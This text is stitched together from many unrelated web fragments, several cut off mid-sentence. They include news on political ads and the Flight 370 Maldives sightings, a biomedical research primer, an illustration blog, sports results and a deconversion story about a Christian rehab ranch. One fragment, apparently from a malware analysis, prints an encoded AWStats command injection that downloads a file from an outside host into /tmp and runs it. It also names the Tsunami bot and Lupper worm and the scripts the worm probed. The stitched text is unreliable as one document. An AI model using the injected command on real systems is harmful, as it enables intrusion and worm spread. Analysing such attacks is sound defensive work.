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ORLANDO, Fla. (AP) - Is there any escape from all those political ads in some of the most hard-fought states in the three weeks before the elections?
The TV ads come in rapid succession and at all hours- in the middle of newscasts, soap operas and talk shows. It's enough to turn off voters.
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Airport authorities in the Maldives – an island nation in the Indian Ocean – said Wednesday they had "no credible information" to back up claims by several villagers that they saw a low-flying jet on the morning Flight 370 went missing.
Hassan Areef, manager of communications at the Maldives Airports Co., told The Wall Street Journal in a telephone interview Wednesday that he had no information that would substantiate the claims, which local police said they are investigating.
Malaysian authorities in a news conference Wednesday confirmed that there was no evidence to suggest that the missing jet had been sighted over the Maldives.
Hishammuddin Hussein, Malaysia's minister of defense and acting minister of transport, said that the Malaysian chief of the defense force had contacted his counterpart in the Maldives "who has confirmed that these reports are not true."
Malaysian investigators have said a satellite ping from the missing plane at about 8 a.m. indicates it was far away in one of two possible corridors – one to the north over continental Asia and one in the southern Indian Ocean. If that is correct, Flight 370 couldn't have been anywhere near the Maldives when locals said they saw a plane.
The two corridors, where 26 nations are now searching for Flight MH370, stretch from Thailand up to Kazakhstan and from Indonesia down towards the southern Indian Ocean. The Maldives sits to the southwest of India's southern tip.
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Mohamed Zaheem, president of the local council on Kuda Huvadhoo island, around 110 miles from the Maldivan capital, Malé, said in a telephone interview Wednesday that about five residents came to him separately on March 8 to say they had seen a large plane flying low overhead at about 6:15 a.m. local time.
That would be 9:15 a.m. Malaysia time and would mean the plane was still flying more than eight hours after leaving Kuala Lumpur. The Boeing 777 was carrying enough fuel to fly for eight hours, Malaysia Airlines said earlier, though aviation experts say the plane might have been able to fly longer depending on its speed and altitude. A direct route from Kuala Lumpur to the Maldives would take about four hours.
One islander, a 15-year-old student who said he saw the low-flying plane when he was standing outside his house on Kuda Huvadhoo on March 8 at around 7.30 a.m., said he could "clearly make out the colors of the aircraft."
"It was mostly blue with a red stripe. Usually I can't see the colors on planes overhead," the student, who asked not to be named, said. The plane maintained a constant height, he said, and was traveling from the south west to the south east.
His father, a teacher on the island who did not see the plane, said his son decided to speak up about the sighting having seen news reports about the missing Boeing 777. "We thought that this might help or be a clue. That's why we started talking," he said.
Police officers had come to the family's home on Tuesday to ask what had been seen, he said. A spokesman for the Maldives Police said officers were trying to verify the reports.
The sightings were first reported in the local Haveeru Online newspaper by Ahmed Naif. He told the Journal that commenters on the website had been posting claims about having seen a low-flying aircraft since Saturday.
"We have talked to five to six islanders [individually] and their story is the same, they have seen a jet that they say is very similar to the Malaysia Airlines" plane, Mr. Naif said.
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Certain versions of the awstats program would execute the code "echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;" in response to this request. This would cause the file at '192.168.1.216/nikons' to be downloaded and stored in the /tmp directory. Then it would be made executable using the 'chmod +x nikons' and finally it would be executed.
This file 'nikons' was a shell script which attempted to download two programs; an IRC bot, identified as Tsunami.A and a variant of the Lupper worm. The Lupper variant tried to spread via scanning for hosts listening on port 80 and attempting to exploit the AWStats and PHPXMLRPC vulnerabilities. (Another Lupper variant is described as trying to exploit a file called hints.pl - this behavior not present in our captured version.)
The worm probed for the following scripts: /xmlrpc/xmlrpc.php, /wordpress/xmlrpc.php, /phpgroupware/xmlrpc.php, /drupal/xmlrpc.php,
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Biomedical research is the process of discovery that leads to better health. Each researcher has advanced training in medical research and a specific medical science field. Research scientists are doctors. There are two kinds of doctoral degrees: Some researchers have an MD (Medical Doctor) degree, and others have a PhD (Doctor of Philosophy) degree, meaning that they are experts in a particular field. Some biomedical researchers have an MD as well as a PhD degree. Very often experts from different fields work together on the same research team.
Basic science research – Some biomedical researchers do basic science research to:
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2) find ways to prevent, treat and cure it.
Most basic science research is done in medical universities by scientists who have a PhD in fields such as genetics, neuroscience, pharmacology, nutrition, epidemiology and biomedical engineering.
Clinical research – Other biomedical researchers do clinical research through studies with people to:
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Researchers who do clinical studies often have an MD (medical doctor degree) and specialize in a field such as pediatric cardiology (heart disease in children), orthopedic surgery (muscles and skeletal system), oncology (cancer), and obstetrics/gynecology. Clinical research is also done by researchers with PhDs in fields like nursing, psychology, sociology, and anthropology.
The Research Study: An Investigation
Biomedical researchers are often called investigators. This is a good term to understand what these researchers do. Just like a police detective, a biomedical researcher starts with known facts and then does an investigation to understand what is still unknown. A police investigation into a burglary would involve a careful step-by-step process of talking to witnesses, examining evidence and then, drawing conclusions about how the break-in happened and who might be responsible. A biomedical research investigation is also a step-by-step process. Starting with facts from previous research, the researcher designs a study to get new information and to draw scientific conclusions based on that evidence.
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Biomedical research is an ongoing journey with each discovery leading to the next and many fields contributing to each other. Every piece of new information increases our knowledge. Some ideas to think about in that journey include:
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- Sometimes breakthroughs happen.
- New technology makes a difference.
One step leads to another: we don't find cures all at once.
Discoveries that improve our health the most take time. Research starts with the foundation of what we know already. Then, through a steady process, basic research findings from several fields (such as genetics, cell biology and pharmacology) join together to reveal new ways to understand, prevent and treat disease. Once these findings are tested in clinical research, they become part of standard health practices and medical care. This step-by-step process continues to build over decades with each new advance paving the way for the next.
Sometimes breakthroughs happen.
Sometimes there are major basic science breakthroughs that open up a whole new path for biomedical research. Major breakthroughs like this are like getting new scientific tools that didn't exist before. Think about an example from real-life. Let's say that you want to put together a bookcase that comes with Phillips head (crosshead) screws. Once you have all the pieces laid out, imagine that all you have in the house is a standard screwdriver. The project would just have to wait until you got the right tool. The path of research is often like that. Science goes so far and then stops until a researcher finds the right scientific tool.
The breakthrough discovery of DNA structure is a good example.
Based on decades of science, the structure of the DNA molecule was discovered and published in 1953. Why was this so important? DNA is our inherited genetic code. That code is a blueprint that directs the activities of every cell in our body. This code defines every trait a person has, including how we look, how our bodies function, and mutations leading to disease. By knowing about the code, scientists could "break the code", giving researchers a revolutionary new way to study, treat and cure disease. In 1962 the Nobel Prize in Medicine was awarded to Francis Crick, James Watson, and Maurice Wilkins in recognition of this ground-breaking research. There are thousands of basic and clinical research studies going on right now all around the world that use this information.
New technology makes a difference.
Sometimes, the driving force for discovery comes from a new technology that allows scientists to do research they could not do before. Modern examples include things like biomedical computing, which can do in seconds what it used to take a researcher years to do. Another example is low-risk technology like MRI (magnetic resonance imaging) to see details inside the body from the outside. New technology has been part of scientific progress for hundreds of years.
The microscope provides a useful example
Microscopes came into use in the mid-1600s. For the first time ever, research scientists could see, and study, an individual cell. Cells are the building blocks for all living things and for every part of our body. Disease in any part of the body like asthma, skin cancer, or high blood pressure, starts first at the level of our cells. The microscope gave scientists an important key to learn about the causes of disease. Before the microscope, we could see the results of disease, but we could not see how it happened.
By 1676 this technology allowed a Dutch scientist named Antoni van Leeuwenhoek to see individual cells, like red blood cells, for the first time. By 1676 he identified a separate form of life that was only one single cell. No one had any idea that a living thing, one cell in size, could possibly exist. This discovery was so different from anything seen before, that at first other scientists did not believe it.
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Celebrating illustration, design, cartoon and comic art of the mid-20th century.
Tuesday, April 26, 2011
Brian Sanders' struggle "to advance stylistically away from what they did so brilliantly."
Heavily influenced by Ben Shahn and David Stone Martin he found it difficult to advance stylistically away from what they did so brilliantly. Much to his agent's consternation he collected his samples, destroying all bar the one shown below, of him preparing ideas for his first printed Christmas card in 1959.
He went drawing in a breaker's yard at the Elephant and Castle and at Billingsgate Fish Market, which was then between London and Tower Bridges – the stamping ground of his youth.
(Above: Billingsgate Fish Market. Brian's grandfather was a wheelwright and may well have made one of these barrows.)
I always admired Joy Hannington's work as the art editor of Homes and Gardens, in particular the way she encouraged illustrators, giving them considerable freedom to work in the way which most suited them.
(Above: The Red Geraniums. The first piece Joy Hannington of Homes and Gardens commissioned from Brian, was a stark 'kitchen sink' story about two old people. This was the second.)
The earliest commissions Brian received from this 'gutsy' work came from Homes and Gardens, and he thanks Joy Hannington, for the confidence she showed in him, and for the opportunities that followed.
(Above: Joy Hannington had been expecting a horizontal half page but didn't complain when Brian delivered this vertical illustration.)
(Above: Yet again, Joy Hannington provided an opportunity to increase Brian's subject range when she commissioned four pages of drawings of garden furniture.)
Readers Digest also began to give him work and he formed a working friendship with its art director Ken Ellis that lasted until Ken's death forty-five years later.
(Above: An early commission from Ken Ellis at Readers Digest. Brian had completed four covers for a Nigerian edition of the magazine, when political events caused the project to be aborted.)
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That's really terrific work. I've never seen any of his art before, thanks for posting it.ReplyDelete
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Thanks Harry and Ryan. Just wait until tomorrow's post. We're just getting started... ;^)ReplyDelete
Wow, brilliant work by this artist. Thanks for posting, I'm putting Brian Sanders on my list of artists.ReplyDelete
These illos are very well designed with strong composition, texture and decorative patterns. He definitely captured the avant-garde look of the 1960s' illustrations.. moving as far away from photo realism as possible. Some are quite abstract, yet they remain representational. I see a lot of Bob Peak and Phil Hays in Brian Sander's work, a bit of Bernie Fuchs and maybe even a touch of Jack Potter. At that time, I wasn't aware of these very impressive U.K. illustrators, but in retrospect, I would occasionally see an unfamiliar illustrator pop up in a magazine or book and say to myself.. WOW, where did this guy come from? I assumed they were probably from Chicago or another major city in the U.S., other than N.Y, S.F. or L.A..ReplyDelete
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Ryan Seacrest to introduce tribute performance
dick clark productions has announced that music icon and 11-time American Music Award winner Stevie Wonder will perform a tribute to the legendary Dick Clark on The 40th Anniversary American Music Awards. The performance will be introduced by Ryan Seacrest. Wonder joins previously announced performers including Christina Aguilera, Justin Bieber, Kelly Clarkson, Carly Rae Jepsen, Carrie Underwood, Ke$ha, Linkin Park, Nicki Minaj, No Doubt, Pink, Pitbull, Psy, Taylor Swift, Usher, The Wanted and Swizz Beatz featuring Chris Brown and Ludacris on this year's show, which will be broadcast live from the NOKIA Theatre L.A. LIVE on Sunday, Nov. 18 (8 to 11 p.m.), on ABC.
Clark, who passed away earlier this year, created the "American Music Awards" in 1973 to give the music-loving public an opportunity to recognize their favorite artists and records of the year. Clark had long been an ambassador for rock 'n' roll, helping to make this new, youth-oriented music acceptable to adults in the '50s, with his clean-cut looks and high standards for teen-aged behavior on his daily "American Bandstand" show. After its inception, he grew the "American Music Awards" through decades of diverse music until it became one of the industry's biggest events.
AMA producer Larry Klein stated: "Without a Dick Clark, our entire current musical repertoire might be classical in nature. Not that there's anything wrong with classical music, but Clark helped Beethoven roll over and tell Tchaikovsky the news. Sunday's tribute to Dick Clark performed by the iconic Stevie Wonder is going to be talked about for years to come."
"I am honored to be a part of the AMAs' tribute to Dick Clark. He was a mentor, friend and a wonderful advocate for popular music, helping make it one of the cornerstones of American culture. We miss him dearly," Seacrest said. "He gave hundreds of stars their national TV debut. So, it's only fitting that one of music's legends, Stevie Wonder, will play at Sunday's tribute. It will be a great show."
At the inaugural telecast of the "American Music Awards," Wonder received the award for the Favorite Soul/R&B Single for "Superstition," as well as Favorite Soul/R&B Male Artist. Since then, he has won nine AMAs, including an Award of Merit in 1982.
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Winter Leagues: Arcia powers Aragua in twin bill
Venezuelan Winter League
Aragua 2, Margarita 1 (eight innings), Game 1
Twins outfielder Oswaldo Arcia led off the bottom of the eighth inning with a walk-off home run off Margarita reliever Manny Corpas to give Aragua the win in a shortened first game of a doubleheader. First baseman Hector Gimenez also homered for Aragua. Giants prospect Adam Duvall went 1-for-4 for Margarita. Box score
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Aragua 2, Margarita 1 (eight innings), Game 1
Twins outfielder Oswaldo Arcia led off the bottom of the eighth inning with a walk-off home run off Margarita reliever Manny Corpas to give Aragua the win in a shortened first game of a doubleheader. First baseman Hector Gimenez also homered for Aragua. Giants prospect Adam Duvall went 1-for-4 for Margarita. Box score
Aragua 17, Margarita 5 (seven innings), Game 2
Aragua took control of the game with an 11-run second inning that turned it into a laugher for the twin-bill sweep. Arcia kept his huge day going with a grand slam in that frame, and Ramon Castro had a 3-for-4 day with three RBIs. Box score
Lara 8, Magallanes 3
Lara started and ended the game well, scoring three runs in the first inning and four in the ninth in a rout. Joe Thurston and Luis Valbuena each homered for Lara, with top Dodgers prospect Joc Pederson drawing a walk in his only plate appearance. Former big leaguers Juan Rivera and Eliezer Alfonzo homered for Magallanes. Box score
Caracas 10, Caribes 4
Caracas built a nine-run lead and held on comfortably, even though Caribes scored three runs in the bottom of the ninth inning. Caracas got three homers, including a grand slam by shortstop Alex Gonzalez. Carlos Duran and Eduardo Escobar went deep for Caribes. Box score
Zulia 11, La Guaira 6
Zulia scored five times in the final three innings to pull away in what had been a close game. Zulia outfielder Jose Pirela had a huge game, with three hits, including a home run, and five RBIs. First baseman Ernesto Mejia added three hits, and Astros infielder Marwin Gonzalez had two hits. La Guaira designated hitter Alex Cabrera continued his torrid hitting with a homer and three RBIs.Box score
Mexican Pacific League
Guasave 4, Los Mochis 0 (seven innings), Game 1
The story for this game was all Guasave starter Marco Tovar, who went the distance in a shortened first game of a doubleheader, giving up only two hits in seven innings, striking out six and walking none. Japhet Amador led the offensive charge for Guasave, homering and driving in two. Box score
Guasave 6, Los Mochis 3, (seven innings), Game 2
Guasave broke a 2-2 tie with four runs in the bottom of the fourth inning and held on for the sweep of the twin bill. Sergio Mora went five innings and gave up two runs while striking out seven batters for the win, and Leonardo Heras and Jose Felix had two RBIs apiece, Heras' coming on a two-run homer. Box score
Mazatlan 5, Obregon 4
Mazatlan scored five early and withstood a four-run outburst by Obregon in the bottom of the fourth inning to nail down a road win. Mazatlan rapped out 16 hits in all, including four by Alberto Carreon. Obregon got a three-run homer from Carlos Valencia. Box score
Mexicali 3, Culiacan 2
Xorge Carrillo's two-out RBI single in the top of the eighth inning broke a 2-2 tie and turned out to be enough for the victory. Mexicali starter Edgar Osuna was excellent in a no-decision, going 6 1/3 innings and giving up one run on three hits while striking out seven. Box score
Navojoa 5, Hermosillo 2
Carlos Orrantia hit a grand slam in the bottom of the fifth inning and it was enough to power Navojoa to the victory. Luis Garcia went 2-for-4 with a homer and two RBIs for Hermosillo. Box score
Dominican Winter League
Escogido 5, Toros 2
Escogido starter Jarrett Grube cruised through 5 2/3 innings of four-hit, shutout ball, and the bottom of the Escogido order (Eury Perez, Jorge Polanco, Wilkin Castillo and Erik Gonzalez ) combined to go 8-for-13 with three RBIs. Mayo Acosta hit the only homer of the game, a two-run shot, for the Toros. Box score
Licey 2, Aguilas 1
All the scoring in the game was done in the sixth inning, and the Licey Tigers were the ones to score more than once. Anderson Hernandez's sacrifice fly and Yamaico Navarro's RBI double accounted for Licey's runs, and that was enough to overcome Mets outfielder Juan Lagares' sac fly for Aguilas. Mariners righty Hector Noesi got the win and Braves No. 3 prospect Christian Bethancourt had two hits for Licey. Rockies right-hander Juan Nicasio started for Aguilas and pitched four no-hit innings. Box score
Puerto Rican League
Santurce 4, Caguas 3
Caguas rallied for three runs in the sixth inning to take a one-run lead, but Santurce got the last laugh, scoring twice in the seventh for the win. The big blow was a two-run single by Reds outfielder Billy Hamilton, who went 2-for-4 with a stolen base, his 11th of the winter. Box score
Ponce 4, Mayaguez 2
Ponce jumped out to a four-run lead and held on, with Jordan Lennerton having a huge day at the plate. Lennerton, who played first base for the Detroit Tigers' Triple-A Toledo club in 2013, went 3-for-4 with two doubles and two RBIs. Christian Colon and Rubi Silva added two hits and an RBI apiece for Ponce, which got six innings of one-hit, shutout ball and five strikeouts from starter Yuki Egarashi. Box score
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I know everyone covets a top-flight wide receiver in the coming draft to get the Dolphins offense airborne. The odds of that receiver being named Dez Bryant just became astronomical.
Forget for a moment that Bryant is supremely gifted and could be gone before Miami picks at No. 12.
Forget for a moment that Bryant missed most of the 2009 season after being suspended by the NCAA and has played only 28 college games. The Dolphins have issues with investing high picks on players with questionable backgrounds and limited experience.
But if those don't hurt Bryant's chances of landing in Miami, consider he has hired agent Eugene Parker, and that seriously affects those chances. Parker, in case you don't remember, was the agent for Michael Crabtree.
And Crabtree conducted a 2009 rookie holdout until October 7 because Parker and the San Francisco 49'ers were not agreed on the rookie's worth. The 49'ers wanted to pay Crabtree the slot price of what the No. 10 should get. Parker argued Crabtree had Top 3 talent and should be paid like it.
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A staff member with the Senate Environment and Public Works Committee confirmed to Government Executive the existence of the report prepared at the request of ranking member James Inhofe, R-Okla. The investigation reportedly cleared Jaczko of some of the accusations against him, but said his December 2011 testimony to the House and Senate was inconsistent in five areas, based on information provided by other NRC officials.
Jaczko announced his pending retirement this spring after a string of disputatious congressional hearings about his management style and his temper, as well as complaints from fellow commissioners about communications problems. The commission has divided over Jaczko's campaign against the politically sensitive plan to store unclear waste in Nevada's Yucca Mountain.
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DALLAS, Texas – UC Santa Barbara senior Derek Masterson scored a career-best Decathlon of 7631 at the Texas Greatest Athlete meet this past weekend at the St. Mark's School of Texas.
"Derek bled and sweat for this program for five years and put his personal score aside to help his team," UCSB assistant coach Cody Fleming said. "Pete [Dolan] and I both agreed that now that he was healthy and ready to roll, we would give him another go at it."
Masterson battled injuries this season and came up just 30 points short of qualifying for the NCAA Championships. The senior repeated as the Big West's decathlon champion while also winning conference gold in the javelin with a career-best of 218' 6".
"It's bittersweet not being able to take him to the NCAA Championships, but this weekend he showed a glimpse of what he's capable of doing," Fleming said. "He represented UCSB well this weekend and put up a heck of a score.
Masterson started day one off with an 11.34 100m, 23' .5" long jump, 46' 6" shot put, 6' 4" high jump, and a 51.22 400m. His first day total of 3842 was just shy of his first day lifetime best.
The senior kept his momentum going on day two by putting up perhaps his most impressive performance in the javelin. In the event, he launched the javelin off a grass runway for the 206' 1" distance.
The rest of this day two action included a career-best 150.06 in the 110 hurdle. He also threw 146' 4" in the discus and 14' 11" in the pole vault. Masterson finished the meet with a 4:47.67 in the 1500m.
The Texas Greatest Athlete meet invites athletes that are trying to qualify for the Junior and Senior Nationals or Olympic Trials.
Masterson will next be competing in the USA Outdoor Championships held in Des Moines, Iowa later this month.


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I was contacted awhile ago by Tyler, a young atheist living in a Christian town in a Christian family surrounded by Christian friends. Not an uncommon story. At the time he was struggling with coming out and concerned about potential loss of his social support network and how others would react to his deconversion. Since that time he has come out as a strong atheist and anti-theist, lost friends along the way, but seems happier and more confident these days.
He had shared his history with me when he first contacted me. He was raised in a fairly moderate Christian home and experienced a very average American upbringing, until, at 16, he landed in juvenile detention on drug charges. That's when things began to change, not just socially but religiously. According to his account, he wasn't addicted or having trouble due to drugs. Like many young people he was experimenting and ended up in the wrong place at the wrong time.
But when he was remanded to his mother, she informed him he would be going to the Teen Challenge Ranch in Northwest Arkansas—an all-boy Christian rehabilitation center for troubled youth in the mountains near Fayetteville.
"My parents had a list from Teen Challenge of what to pack and what not to…I needed all of the normal hygiene products, collared shirts and other appropriate clothing, and a NIV Bible. They also wanted me to bring an alarm clock, but it could not have a radio because they said they did not want anything 'worldly' interfering with my rehabilitation. The list of things we could not bring was quite a bit larger, though. We could not bring anything that was not Christian with us. No music, literature (not that I read that much back then anyway), no television, and no movies that were not approved by the staff. If it did not praise the Lord, it was not allowed."
- Related post: Drug and Alcohol Rehab in Florida.
The Ranch itself sounds not unlike other such facilities, but clearly my interest is in the integration of religion into the program. As a Christian facility, it would seem expected that there would be a regular religious study of some sort—weekly or biweekly? But according to Tyler:
"The counselors informed me we would have three-a-day Bible study, which I was not too enthused about. I had been to Sunday school every Sunday for the better part of my life. But studying the Bible three times a day? I did not like studying the Bible for 30 minutes a week, much less three times a day for a total of three hours. That just seemed exhausting. I did not know much of the Bible, either. So, that worried me a little. Would I have to study harder than the rest of the class? I really did not know what to expect. And, somehow, this time spent in Bible study was suppose to be helping with my drug addiction. I did not need help with drugs; I had made my mind up that I was done with them while sitting in jail. But I was curious nonetheless. Also, I was told we would be going to a Pentecostal church twice a week in Fayetteville. We would be attending on Wednesday nights, and Sunday mornings. This was the first time I had heard the rehab center was Pentecostal. I did not really know what Pentecostal was, so none of this bothered me at the time."
It didn't take long for Tyler to learn what "Pentecostal" was:
"The chapel was where everyone got together for worship and Bible study. It was a small room painted light blue with a large wooden cross leaning on a bench. When we went into the chapel, the lights were dimmed and the counselors were standing around in a circle waiting for us to enter and join with them. We all joined the circle and the counselors introduced me as the new student. We all were told to tell something about ourselves and what we wanted to accomplish from being at the Ranch. Everyone went through it quickly, and then it was time for Bible study. Everyone grabbed their Bibles and got ready for the lesson. It was just a normal Sunday school lesson which did not differ too much from what I was accustom to. When the lesson was done, it was time for worship. I had no idea what they had meant by 'worship.' I thought 'worship' was what we had just done by reading the Bible and praying. I was so wrong. The counselors turned on some upbeat Christian music, and everyone started dancing around in a circle. They were praying out loud and holding their hands up. I looked over to the person next to me to see if I could get some sort of confirmation for thinking this was completely nuts, but he had his eyes closed and was jumping up and down. I was just standing in shock. I was a Christian, but all of this stuff was what I had heard about on the news and thought was insane behavior. In my eyes, this was not worship. My version of worship was mouthing the words to hymnals on Sunday morning. Some of the students were crying as they held both hands up and rocked back and forth. Some of the students had their heads bowed praying in the corners of the room with other students' hands on their shoulders because, apparently, they believed the Holy Spirit worked better if believers touched each other while praying. One of the students looked up at the ceiling and started blurting out incoherent words and other nonsense. I did not know then, but this was called speaking in tongues. Finally, one of the counselors came over to me and said that if I was not comfortable with all of this, I could sit down on some steps in a dark part of the room. I was relieved that this was not a requirement, but that did not ease my dread of the months which would be spent in chapel. I was alone in a place I had never been before, with people I had never met who were doing things which I thought were crazy. I could not talk to my parents and tell them how insane these people were acting. I was completely alone."
"School" at the Ranch "was taught by Christian home school books, and Jesus was on every page. For example, if you were studying math, the books would give you a Bible story on each side of the page to show how the mathematical problem could be used to glorify the Lord. And, science didn't exist in these classes. The only science that was taught in these classes was either misleading, incorrect, or muddled with scripture."
The daily routine consisted of the following: "After breakfast, it was time to get ready for Bible study. Then we were off to school. After school, it was time for another Bible study and then lunch. Everyday after lunch we would have a midday break and free time. We usually stayed in our lobbies or went to the gym. Free time did not last very long after lunch; then it was time for school again. Class lasted for about two hours, and we were released with free time until about 6:30 at night when we would eat supper in the cafeteria. Directly after supper, we would have Chapel until 8:30. Then it was time to get ready for lights out at 9:00. We could stay up as late as we wanted at night as long as we were in our rooms, but we still had to be up 6:00."
Additionally, "We could only have one phone call home a week, and that was with a counselor. I did not have anyone around me that I knew and could not talk to anyone that I did know. And the people who were around me seemed certifiably insane."
Eventually Tyler decided he needed to call home and have a conversation with his family away from the counselors' scrutiny. Although the story of his escape from the facility is intriguing, suffice to say he was eventually able to call home. He explained the religious insanity to his mother, but she held firmly that the rehabilitation was for his own good and that he should stick with it. He sneaked back into the facility that same night and resolved to make more of an effort to work within the program.
"A couple weeks had gone by, and I slowly began to stop distancing myself from the counselors and other students. I did not like some of the things that went on in chapel, but I did not want to be an outsider anymore. I was growing tired of sitting in the corner of the room while everyone else was in a circle worshiping. Even if it was not the sam
e as I was used to, I still wanted to be a part of it.
"One night after Bible study, I stepped into their circle of worship for the first time since the night I arrived at the Ranch. As soon as one of the counselors saw me, he came over and stood behind me with his hands on my shoulders. He told me to just let go and give myself to God. So, I put my hands up toward the ceiling like the other students. I swayed to the music and sang along. Eventually, I stopped feeling embarrassed by what I was doing because everyone else was doing it. I became used to it. Then, a euphoric calm came over me. It felt like God really was there and wanted me to be happy. It was as though I was a child again and had no doubts about god at all—when just the thought of God gave me comfort. I began to cry. I did not know why I was crying, but it actually felt good. The counselor was still behind me. He saw that I was crying and pulled me over to the corner of the room. He told me that I had to ask for forgiveness and that I needed to let God into my heart. I told him that God was already in my heart, but he would not accept that. He said that I needed to ask. I got down on my knees, and I began to pray what he told me to pray. I asked Jesus into my heart and for him to be my personal savior. The other students saw that I was praying and came over to put their hands on me. By the time I had finished praying, everyone in the room was behind me with one hand on my back and the other hand held up toward the ceiling. Most of them had tears in their eyes as I did. I stood up and everyone gave me a hug and, basically, congratulated me. One of the counselors turned the music off, and we started back to the dorms. Just as we were walking in the door, I heard one of the counselors whisper to the other, 'another soul saved, brother.'"
So, the behavior Tyler had considered crazy had now been normalized, rewarded and reinforced—techniques anyone who has been indoctrinated should recognize, even if you're not Pentecostal. Tyler went on field trips to religious youth festivals and concerts and began to be more integrated into the Pentecostal movement—meeting more people socially who subscribed to the beliefs and behaviors, which continued to reinforce the doctrines in his own mind.
After a few months, Tyler was allowed a home visit over the Christmas holiday. His new beliefs impacted his reunion with stress and concern that his family was not truly saved, and mistrust of their "worldly" attitudes. This is an issue we hear quite often from openly atheist parents whose children are being indoctrinated by partners/ex-partners or other family members.
"My grandparents had arranged to pick me up…On the way home, I talked to my grandparents about my family; about whether they were really saved. I was worried about my father and mother. I knew they went to church a lot when I was little, but they had stopped going and were not living their lives like the Teen Challenge counselors said we should. I did not want my parents to go to hell. My father concerned me more than anyone else in my family. He believed in god, but besides condemning blasphemous behavior, he never acted like he did. My grandparents were not too welcoming of the fact that I did not believe my father was truly Christian, though. They repeatedly tried to convince me otherwise and made excuses for him.
"Also, I told them about how I had thought about becoming a missionary. My grandfather frowned on the idea, asking me how I would make money and said that it is not a good lifestyle. I did not understand this because I thought he would be happy to hear that I would be living the way Jesus would have wanted me to; I would be saving souls. He was one of the people the counselors had warned us about. He was someone who said they believed but did not really want to give his life to Jesus. And when I thought about it, everyone I knew was not really a believer."
And so Tyler began to distrust his own family and fear their impact on his own salvation. It's not uncommon for believers to be "warned" to not become too involved with people outside of their belief system (including family and close friends) who could confound their thinking and undermine their faith. "Worldly" interaction may be necessary, but should not exceed necessary levels. These types of teachings drive huge wedges within families. It's another concern we hear all the time in our viewer mail.
Eventually Tyler's time away from the Ranch resulted in a mild breakdown of the indoctrination, due in part to an interest he developed in a girl he met while visiting home. However, in attempting to resolve the doubts and conflicts that had arisen, he turned right back to the techniques he'd been taught by The Ranch:
"The first week back from Christmas break was horrible. I felt more depressed than I had my entire life. I wanted to go home and be with my new girlfriend and the people I knew. I prayed a lot during the first weeks back, but nothing helped. The counselors did not help too much either. They would just say that we cannot expect to be happy all of the time. That our happiness with God comes and goes. I thought that sounded absurd. Why would God not want me to be happy if I loved and believed in him? Was God punishing me for my new girlfriend? Was I on the wrong path? Does he want me to be Baptist or Pentecostal? All of these questions, and many more, were running through my mind at this time."
So rather than step back to examine the issues objectively, he'd been taught to deal with doubt by diving into the very system he was doubting, even more deeply. This is another common indoctrination technique—teaching a person that the way to resolve doubts about faith is not to question or examine, but to pile on more faith. It makes as much sense as wondering if you're the victim of a financial scam, and resolving the question by sending in more money, rather than researching the investment.
Eventually Tyler's stint at the Ranch ended when he was involved with a physical altercation with a counselor. He recounts the ride to the bus station: "They lectured me and preached the whole way there. They condemned me for not wanting to be like those who wanted to spend their entire lives at the Ranch. I did not even try to argue with them. I was too happy to. I was finally going home."
"It has been 10 years now. I am now a nonbeliever, I have not spoken to anyone at Teen Challenge since I left…
"I feel the Ranch had a lot to do with my disbelief. I came home from there not knowing what to believe. I felt that my beliefs were more Pentecostal, but Baptist churches were pretty much all that surround me in my home town. I went to our regular church on a number of occasions, but it just never felt right. So, I stopped going to church. I was always conflicted about what I actually believed. Was I "once saved always saved" as my Baptist upbringing had taught me? Or, did I have to keep striving to be like Jesus in order to be saved? Was speaking in tongues real? Or, did I just do that because I felt good and wanted to be like everyone else as a Baptist would suggest? All these questions made me want to look into what I actually believed.
"After many years, I finally stopped trying to figure out which Christian belief was right and started to doubt if any of the Christian beliefs I had were right. It was apparent to me that I would never find out whether the Pentecostal or Baptist beliefs were right, and because I could not find that out, I began to question how I knew any of my beliefs were right. It was a chain reaction. It was a long slow process, but after many years of research, and a lot of thinking, I began to think that there was no way for me to distinguish which beliefs were right because none of them were. No beliefs I had ever examined had good reasons to believe them. I still said I believed, though. I deeply wanted to believe in god and somewhat had these habits of belief that were ingrained into my t
hinking. Also, I had a real fear of hell that I could not get past. It all slowly faded away over the years, though. My fear of hell slowly vanished after questioning, just as all of my other beliefs had. I began to realize that I had no reason to believe it, and the only reason I had for so long was because I was scared of the possibility. The need to believe fell away shortly after I stopped fearing hell and the unknown. And I let myself search for the truth instead of what I wanted to see as the truth. I was finally free to think without being afraid of a hell which was built by a loving god. I was free to question whether any god existed. And I saw no reason to think that one did."
Fear and threats of hell should not be underestimated as indoctrination mechanisms. The sheer number of people who use Pascal's Wager demonstrates how many believers consider fear of hell a compelling "reason" to maintain belief. Fear of hell cannot reasonably influence an unbeliever, who does not accept hell exists. But for someone who believes in hell already, that fear is often sufficient to convince them that maintaining their belief is paramount, and doubts or questions far too risky. Overcoming that fear can be extremely problematic for people, even after they deconvert. I've compared it to an abused dog who cowers when a new, nonabusive owner lifts his hand to pat its head. It takes awhile to overcome childhood terrors that have been so deeply and methodically ingrained.
"I feel I should thank Teen Challenge for making me question the beliefs I held before I arrived at their facility. I feel I should thank them for giving me a place to stay when I needed to get away from drugs and alcohol. But, also, I understand how many troubled children and teenagers have been successfully brainwashed simply because these people manipulated them during a hard time in their lives. I understand that there are students who did not go home for Christmas and never had [anyone] to help them see reality. I understand all of this. So, a 'Thank You' will never leave my lips."


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One of my fellow artists in The Joe Bonham Project, Rob Bates, has curated a show for us at the University of North Carolina's Charlotte campus. The show will officially open on May 22 from 4:30 to 6 PM at UNCC's Student Union Gallery. You can read a nice article in the Charlotte Examiner penned by Catherine Lash.
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MD Helicopters' head, Lynn Tilton, is decrying "an industry rumor mill that works overtime to turn positives into negatives."
In one of MD's latest public statements, the Mesa, Ariz. manufacturer on May 2 issued a press release quoting Tilton as saying MD has achieved its primary goal of "bringing back an American legacy." The New York distressed-debt management firm Tilton controls, Patriarch Partners, bought control of MD two years ago come July. "Today, MD is a strong, viable company with a core of world-class operational talent, and a product line that customers love," she said in the press release.
Tilton said MD has delivered 10 aircraft to date this year and expects to deliver 33 more by year's end. Its new airframe production facility in Monterrey, Mexico should deliver 23 fuselages to Mesa this year, she said.
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Nonetheless, she said, "our quiet focus on the execution of strategies has unfortunately been twisted into hidden problems." She said, for the second time this year, that the company is not for sale. (We hadn't heard any fresh rumors that it was.)
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Unit 2: The Behavior of Atoms—Phases of Matter and the Properties of Gases
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Justin Chon Shows Off His OC StoreMay 26th, 2009 | By Krystal | Category: Featured Articles, Movie News
